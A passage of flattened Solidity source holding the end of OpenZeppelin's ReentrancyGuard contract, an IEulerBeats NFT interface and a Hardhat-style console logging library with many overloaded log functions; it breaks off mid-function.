a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity >=0.6.0 <0.8.0; interface IEulerBeats { function reserve() external view returns (uint); function totalSupply(uint) external view returns (uint); function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data) external; function balanceOf(address, uint256) external view returns (uint256); function burnPrint(uint256, uint256) external; function mintPrint(uint256) external payable returns (uint256); function seedToOwner(uint256) external view returns (address); function setEnabled(bool) external; function setLocked(bool) external; function transferOwnership(address) external; function withdraw() external; function setURI(string memory) external; function resetScriptCount() external; function addScript(string memory) external; function updateScript(string memory, uint256) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { 